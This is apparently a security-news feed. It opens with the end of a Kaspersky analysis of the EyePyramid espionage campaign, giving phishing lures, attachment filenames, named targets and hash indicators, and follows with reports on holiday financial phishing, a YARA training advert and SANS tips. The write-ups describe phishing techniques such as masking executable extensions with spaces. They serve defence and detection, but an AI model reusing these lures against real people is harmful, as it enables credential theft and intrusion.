Nevertheless, once we were able to identify the samples shown above we used our telemetry to find additional ones used by the attackers for spreading the malware in spear-phishing emails. For example:

From: Di Marco Gianmaria
Subject: ricezione e attivazione
Time:2014/01/29 13:57:42
Attachment: contatto.zip//Primarie.accdb (…) .exe

From: Michelangelo Giorgianni
Subject: R: Re: CONVOCAZIONE]
Time: 2014/01/28 17:28:56]
Attachment: Note.zip//sistemi.pdf (…) .exe

Other attachment filenames observed in attacks include:

  • Nuoveassunzioni.7z
  • Assunzione.7z
  • Segnalazioni.doc (…) 7z.exe
  • Regione.7z
  • Energy.7z
  • Risparmio.7z
  • Pagati.7z
  • Final Eight 2012 Suggerimenti Uso Auricolari.exe
  • Fwd Re olio di colza aggiornamento prezzo.exe
  • Approfondimento.7z
  • Allegato.zip
  • Eventi.bmp (…) .exe
  • Quotidiano.mdb (…) _7z.exe
  • Notifica operazioni in sospeso.exe

As can be seen the spreading relied on spearphishing e-mails with attachments, which relied on social engineering to get the victim to open and execute the attachment. The attachments were ZIP and 7zip archives, which contained the EyePyramid malware.

Also the attackers relied on executable files masking the extension of the file with multiple spaces. This technique is significant in terms of the low sophistication level of this attack.

High profile victims

Potential high-profile Italian victims (found as recipients of spear-phishing emails according to the police report) include very relevant Italian politicians such as Matteo Renzi or Mario Draghi.

It should be noted however there is no proof than any of them got successfully infected by EyePyramid – only that they were targeted.

Of the more than 100 active victims found in the server, there’s a heavy interest in Italian law firms and lawyers. Further standout victims, organizations, and verticals include:

Professional firms, Consultants Universities Vaticano Construction firms Healthcare

Based on the KSN data for the EyePyramid malware, we observed 92 cases in which the malware was blocked, of which the vast majority (80%) of them were in Italy. Other countries where EyePyramid has been detected includes France, Indonesia, Monaco, Mexico, China, Taiwan, Germany and Poland.

Assuming their compilation timestamp are legit – and they do appear correct, most of the samples used in the attacks have been compiled in 2014 and 2015.

Conclusions

Although the “EyePyramid” malware used by the two suspects is neither sophisticated nor very hard to detect, their operation successfully compromised a large number of victims, including high-profile individuals, resulting in the theft of tens of gigabytes of data.

In general, the operation had very poor OPSEC (operational security); the suspects used IP addresses associated with their company in the attacks, discussed the victims using regular phone calls and through WhatsApp and, when caught, attempted to delete all the evidence.

This indicates they weren’t experts in the field but merely amateurs, who nevertheless succeeded in stealing considerably large amounts of data from their victims.

As seen from other known cyberespionage operations, it’s not necessary for the attackers to use high profile malware, rootkits, or zero-days to run long-standing cyberespionage operations.

Perhaps the most surprising element of this story is that Giulio Occhionero and Francesca Maria Occhionero ran this cyber espionage operation for many years before getting caught.

Kaspersky Lab products successfully detect and remove EyePyramid samples with these verdicts:

  • HEUR:Trojan.Win32.Generic
  • Trojan.Win32.AntiAV.choz
  • Trojan.Win32.AntiAV.ciok
  • Trojan.Win32.AntiAV.cisb
  • Trojan.Win32.AntiAV.ciyk
  • not-a-virus:HEUR:PSWTool.Win32.Generic
  • not-a-virus:PSWTool.Win32.NetPass.aku

A full report #EyePyramid, including technical details of the malware, is available to customers of Kaspersky APT Intelligence Services. Contact: intelreports (at) kaspersky [dot] com.

To learn how to write YARA rules like a GReAT Ninja, consider taking a master class at Security Analyst Summit. – https://sas.kaspersky.com/#trainings

References and Third-Party Articles Indicators of Compromise Hashes:

09ff13b020de3629b0547e0312a6c135
102bccd95e5d8a56c4f7e8b902f5fb71
12f3635ab1de63fbcb5e1c492424c605
1391d37c6b809f48be7f09aa0dab7657
1498b8d6e946b5d6b529abea13592381
14db577a9b0bfc62f3a25a9a51765bc5
17af7e00936dcc8af376ad899501ad8b
192d5866cbfafae36d5ba321c817bc14
325f5d379c4d091743ca8581f15d3295
36bd8feed1b17c59f3c653e6427661a4
380b0f1921fed82e1b68b4e442b04f05
3c30f0114c600510fdb2573cc48d5c06
3fed695e2a6e63d971c16fd9e825fec5
47bea4236184c21e89bd1c1af3e52c86
47dd1e017aae694abd2b7bc0b12cf1da
47f1f9b1339147fe2d13772b4cb81030
53b41dc0b8fd9663047f71bc91a317df
5bc1b8c07c0f83d438a3e891dc389954
5eb17f400f38c1b65990a8d60c298d95
6de1e478301d59ac14b8e9636b53815d
75621de46a12234af0bec15620be6763
778d103face6ad7186596fb0ba2399f2
859f60cd5d0f0fbd91bde3c3914cbb18
8afb6488655cbea2737d2423843ea077
9173aefe64b7704510c873e2ce7305e0
92c32eb72f5713ca1f2a8dc918f1f770
932bd2ad79cbca4341d853a4b5ea1da5
94eff87eca2f054aa5fbc1877a6cf919
98825a1ce35f46d004c0839e87cc2778
9b8571b5281f3751750d3099049098e0
9c57839b3f8462bd6c2d36db80cd5ecc
9d3ce3246975ae6d545ee9e8ba12d164
9d4b46d3c389e0144238c821670f8537
a41c5374a14a2c7cbe093ff6b075e8ac
b39a673a5d2ceaa1fb5571769097ca77
b533b082ed1458c482c3663ee12dc3a4
bcfd544df7d8e9a2efe9d2ed32e74cad
c0243741bfece772f02d1657dc057229
c38e9edc0e4b18ff1fc5b61b771f7946
ce76b690dc98844c721e6337cd5e7f4b
cf391937d79ed6650893b1d5fbed0604
d8432ddec880800bfa060af1f8c2e405
eb604e7e27727a410fc226196c13afe9
fafd293065daf126a9ad9562fc0b00b2

Related hashes identified by @GaborSzappanos:

014f69777d2e0c87f2954ad252d52810
02965c8a593989ff7051ec24736da6bd
04b3c63907c20d9be255e167de89a398
04e949f64e962e757f5bb8566c07800b
06e47736256c54d9dd3c3c533c73923e
09ff13b020de3629b0547e0312a6c135
0a80fd5abf270ddd8080f93505854684
0b3c1ff3b3b445f46594227ca2babdcd
0c33c00a5f0f5bde8c426c3ce376eb11
0ded0389cbddeeb673836794269ffb3b
0e19913ce9799a05ba97ac172ec5f0bc
11062b36893c4ba278708ec3da07b1dd
12b4d543ae1b98df15c8712d888c54f0
1334a7df1e59380206841d05d8400778
14cb305de2476365ef02d2226532dd34
1748c33cb5ac6f26d55cd1a58b68df8a
18e24ef2791030693a4588bfcae1dec0
192d5866cbfafae36d5ba321c817bc14
1b4d423350cd1159057dd7dbef479328
1deb28ae7b64fb44358e69e5afd1f600
2222a947ebccc8da16badeacca05df4b
23beed8aaac883a5902039e6fd84ee5f
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Backdoor Filenames:

pnbwz.exe
pxcfx.exe
qislg.exe
rqklt.exe
runwt.exe
ruzvs.exe
rvhct.exe
vidhdw.exe
winlng.exe
wxrun.exe
xddrv.exe
xdwdrv.exe

Malicious attachments filenames (weak indicators):

contatto.zip//Primarie.accdb (…) .exe
Note.zip//sistemi.pdf (…) .exe
Nuoveassunzioni.7z
Assunzione.7z
Segnalazioni.doc (…) 7z.exe
Regione.7z
Energy.7z
Risparmio.7z
Pagati.7z
Final Eight 2012 Suggerimenti Uso Auricolari.exe
Fwd Re olio di colza aggiornamento prezzo.exe
Approfondimento.7z
Allegato.zip
Eventi.bmp (…) .exe
Quotidiano.mdb (…) _7z.exe

Holiday 2016 financial cyberthreats overview

Malware Alerts - Wed, 01/11/2017 - 03:57

Introduction

Last November we conducted a brief analysis of the threat landscape over the holiday period – from October to December in 2014 and 2015 – to find out if the number of financial cyberattacks during this time differs to that usually seen throughout the year. The retrospective analysis found that the percentage of phishing attacks during this period was higher than the average yearly rate. The dynamics of financial malware attacks also clearly showed that in 2014 and 2015, criminals staged their malicious campaigns to match dates around the Black Friday – Cyber Monday period, and also around Christmas and the New Year.

Based on this data we made the following prognosis: the same holiday period in 2016 will see a spike in cyberattacks. Now that the holidays are over, it is time to find out how accurate that prediction was.

Financial phishing The numbers

As seen in the table below, unlike in previous years, the difference between the overall yearly results and the results in Q4 is not significant. However, the percentage of financial phishing attacks blocked by Kaspersky Lab products in Q4 2016 was higher than the total average for the year.

2013 Full year Q4 Financial phishing total 31.45% 32.02% E-shop 6.51% 7.80% E-banks 22.20% 18.76% E-payments 2.74% 5.46% 2014 Full year Q4 Financial phishing total 28.73% 38.49% E-shop 7.32% 12.63% E-banks 16.27% 17.94% E-payments 5.14% 7.92% 2015 Full year Q4 Financial phishing total 34.33% 43.38% E-shop 9.08% 12.29% E-banks 17.45% 18.90% E-payments 7.08% 12.19% 2016 Full year Q4 Financial phishing total 47.48% 48.13% E-shop 10.17% 10.41% E-banks 25.76% 26.35% E-payments 11.55% 11.37%

Moreover, the Q4 2016 results are the highest we’ve seen so far. 48.13% of all phishing attacks registered by Kaspersky Lab products were focused on gleaning users’ financial data, which is 0.65% higher than the average share of financial phishing in 2016, and 4.75% more than in the same period in 2015. However, the holiday period is not the only reason for such a high percentage of financial attacks. Phishing scams are the easiest way for even low level professional criminals to earn money. The preparation and supporting stages for such scams don’t require a lot of specific tools or knowledge, yet they bring a good return. In other words, phishing attacks appear more attractive to criminals due to their ease and affordability, when compared to staging a financial malware attack. This has resulted in the growth in popularity of phishing.

Delivered on time

As evidenced in our original analysis of the threat landscape during the holiday period in 2014 and 2015, criminals were trying to tie their phishing campaigns to certain dates which resulted in a visible increase in the number of attacks during the Black Friday, Cyber Monday and also Christmas periods. The 2016 figures showed no difference but we’ve seen an increase in the number of attacks which utilized well-known brands from the online retail and financial industries.

As seen on the graph above, the spikes of detections of Amazon-themed phishing scams matched the dates of Black Friday and Cyber Monday 2016 almost perfectly. The same dynamics are repeated with some other topical brands including payment systems.

Interestingly, the dynamics during the Christmas period are different. As seen below, the number of attacks started decreasing several days prior to Christmas Eve, and then went up on 25th of December.

Such synchronous behavior could be explained by multiple factors, one of which is that cybercriminals are also celebrating Christmas and that the overall number of web users also decreases on 24th December. But on 25th December, the number of attacks goes back up.

Scams: from Black Friday to Christmas-themed

In our initial report, we examined some examples of so-called topical phishing scams dedicated to a specific topic – the Black Friday sales. While the report was published several weeks before the actual sales started, we already identified some examples of Black Friday-themed phishing scams. Closer to the start of the sales some new examples appeared.

Example of a Black Friday-themed phishing scam offering a smartphone with 65% discount.

Example of a Black Friday-themed phishing scam offering a TV for an attractive price.

The scams mostly promoted personal electronics, like smartphones and TVs, at extremely low prices, and tried to lure users into providing payment information to criminals. With Christmas approaching, the topics of scams changed accordingly. In December, our researchers started to detect Christmas and New Year-themed phishing schemes.

Example of a Christmas-themed phishing scam resembling the Alibaba.com e-shop.

The example on the screen shot above doesn’t look Christmas-themed at first glance. However this fake Alibaba.com website was available on the christmascartoons.org URL and was supposed to attract victims with a tempting offer to get a loan with very low interest, along with the ability to search for goods and buy them from the same page using a credit card.

In another example targeting mobile users, criminals tried to exploit the popularity of the Clash of Clans mobile game.

The scam promises that the developers of the game are giving away some valuable in-game virtual items for free, as a New Year present to fans.

Users can choose from range of items, however in order to receive these gifts, they need to fill in a registration form which requests their Gmail account details.

Needless to say, in exchange for this information, the victim receives nothing but a loss of control over their email account and the confirmation email.

But the latter is only sent so criminals could be sure that the credentials provided by the victim are legitimate.

In general, we can’t say that the holiday period in 2016 has seen an unusually high increase of phishing attacks, however, our major hypothesis, stated in previous reports – that criminals would exploit Black Friday and Christmas topics and dates – has been confirmed.

And of course, financial phishing wasn’t the only type of cyberthreat that behaved unusually in the last three months of 2016. The financial malware landscape also showed some interesting changes.

Financial malware attacks

In total, during Q4 2016 Kaspersky Lab registered attacks with financial malware against 319,692 users worldwide. That is 22.49% more than during the same period in 2015, when 261,000 users were attacked, and 2.7% more than in 2014. It is hard to say if such an increase has been provoked by criminal interest in the holiday season; however, data on the dynamics of attacks shows that just like phishing scammers, financial malware operators tried to connect their activity to particular dates.

Dynamics of attacks with financial malware during Q4 2016 (holiday period)

25th November 2016 (Black Friday) saw a modest, but visible spike in attacks, with another on 28th November (Cyber Monday). In all, November became the second hottest month of the period in terms of number of attacked users: with more than 120 000. The hottest was October, with more than 130 000 attacked users.

Dynamics of attacks with financial malware during Black Friday and Cyber Monday 2016

The activity of attackers during the Christmas period showed a different pattern. A major increase happened before (on December 22nd) and after (from 25 – 27th December). This may be explained by the fact that most e-commerce activities happen around these dates: people buy gifts and goods for Christmas and the New Year, travel for vacations and spend money on entertainment.

Dynamics of attacks with financial malware during the Christmas 2016 period

It is also important to note that the dynamics of attacks during the holidays are very similar to what we have already seen in 2015 and 2014. Criminals are eager to get users’ money and the holiday period is a key time for them.

To reach their goals they use one of 30 families of banking trojans of which five are the most widespread: Zbot, Nymaim, Shiotob, Gozi and Neurevt. These five are responsible for attacks against 92.35% of users in the period.

The share of users attacked with Top 5 banking trojans

Conclusion

It looks like the trends we spotted as part of our analysis of the threat landscape during the holiday period in 2014 and 2015 have repeated in 2016, but on a larger scale, with more users being attacked. It is too early to draw conclusions on how successful fraud campaigns during the 2016 holiday season were, because usually criminals who were able to steal credentials to payment cards don’t cash them in immediately. They wait for several months in order to make fraudulent transactions less suspicious to the anti-fraud systems of financial organizations, but it would be safe to say that there were multiple attempts to exploit the high sales season.

Although the holiday season is over, it is still imperative to keep in mind several simple rules to stay safe when carrying out financial operations online. Steps to follow can be found in our initial report about holiday threats.

How to hunt for rare malware

Malware Alerts - Mon, 01/09/2017 - 09:39

At SAS 2017, on April 1st and 2nd on St. Maarten, Global Director of GReAT Costin Raiu and Principal Security Researchers Vitaly Kamluk and Sergey Mineev will provide YARA training for incident response specialists and malware researchers, who need an effective arsenal for finding malware. During the training, the experts will give participants access to some of Kaspersky Lab internal systems, which are otherwise closed to the public, to demonstrate how the company’s malware analysts catch rare samples. After two days, even being a newcomer, you’ll walk away with the ability to write rules and start using the tool for hunting malware. You can book your seat now — the class will be limited for maximum 15 participants.

Each trainer has an impressive portfolio of cyber-espionage campaigns that they have investigated, including Stuxnet, Duqu, Flame, Gauss, Red October, MiniDuke, Turla, Careto/TheMask, Carbanak and Duqu2.

Why YARA training?

Protective measures that were effective yesterday don’t guarantee the same level of security tomorrow. Indicators of Compromise (IoCs) can help you search for footprints of known malware or for an active infection. But serious threat actors have started to tailor their tools to fit each victim, thus making IoCs much less effective. But good YARA detection rules still allow analysts to find malware, exploits and 0-days which couldn’t be found in any other way. The rules can be deployed in networks and on various multi scanner systems.

Giveaways

People who go through the training will be able to start writing relatively complex YARA rules for malware – from polymorphic keyloggers all the way up to highly complex malware – that can’t be detected easily with strings. The GReAT trainers will teach how to balance rules, in other words how to write detection rules while minimising the risk of false-positives. They also will share their experience of what exactly they are looking for when they write YARA rules as part of their everyday jobs.

What are the requirements for participation?

You don’t have to be an expert in order to go through this training. It’s enough to have basic knowledge of how to use a TextEditor and the UNIX grep tool, and a basic understanding of what computer viruses are and what binary formats look like. You’ll also need your laptop and YARA software v. 3.4.0 installed on the machine. Experience with malware analysis, reverse engineering and programming (especially in structured languages) will help you to learn more quickly, but this doesn’t mean that you can’t learn without it.

Catching a 0-day with YARA

One of the most remarkable cases in which Kaspersky Lab’s GReAT used YARA was the very famous Silverlight 0-day: the team started hunting for this after Hacking Team, the Italian company selling “legal surveillance tools” for governments and LEAs, was hacked. One of the stories in the media attracted our researchers’ attention — according to the article, a programmer offered to sell Hacking Team a Silverlight 0-day, an exploit for an obsolete Microsoft plug-in which at some point had been installed on a huge number of computers.

GReAT decided to create a YARA rule based on this programmer’s older, publicly available proof-of-concept exploits. Our researchers found that he had a very particular style when coding the exploits — he used very specific comments, shell code and function names. All of this unique information was used to write a YARA rule — the experts set it to carry out a clear task, basically saying “Go and hunt for any piece of malware that shows the characteristics described in the rule”. Eventually it caught a new sample, it was a 0-day, and the team reported it to Microsoft immediately.

If you’re a scholar…

Surprisingly enough, YARA can be used for any sort of classification, such as finding documents by metadata, email and so on. If you work with any kind of rare information and lack a competitive tool for searching for it, come to St. Maarten in April and join the training — you’ll benefit greatly.

You are welcome to listen the podcast to learn about how YARA can be used in malware hunting, data analysis and incident response activities.

Book a seat at sas.kaspersky.com now to hunt APTs with YARA like a GReAT ninja!

You Are a Target

SANS Tip of the Day - Mon, 01/09/2017 - 00:00
You may not realize it, but you are a target. Your computer, your work and personal accounts and your information are all highly valuable to cyber criminals. Be mindful that bad guys are out to get you.

Protecting Your Social Media Account

SANS Tip of the Day - Tue, 01/03/2017 - 00:00
Bad guys are targeting your social media accounts. One of the most effective ways you can protect them is with a unique, strong password called a passphrase. Enabling two-step verification (if your social media site offers it) is even better.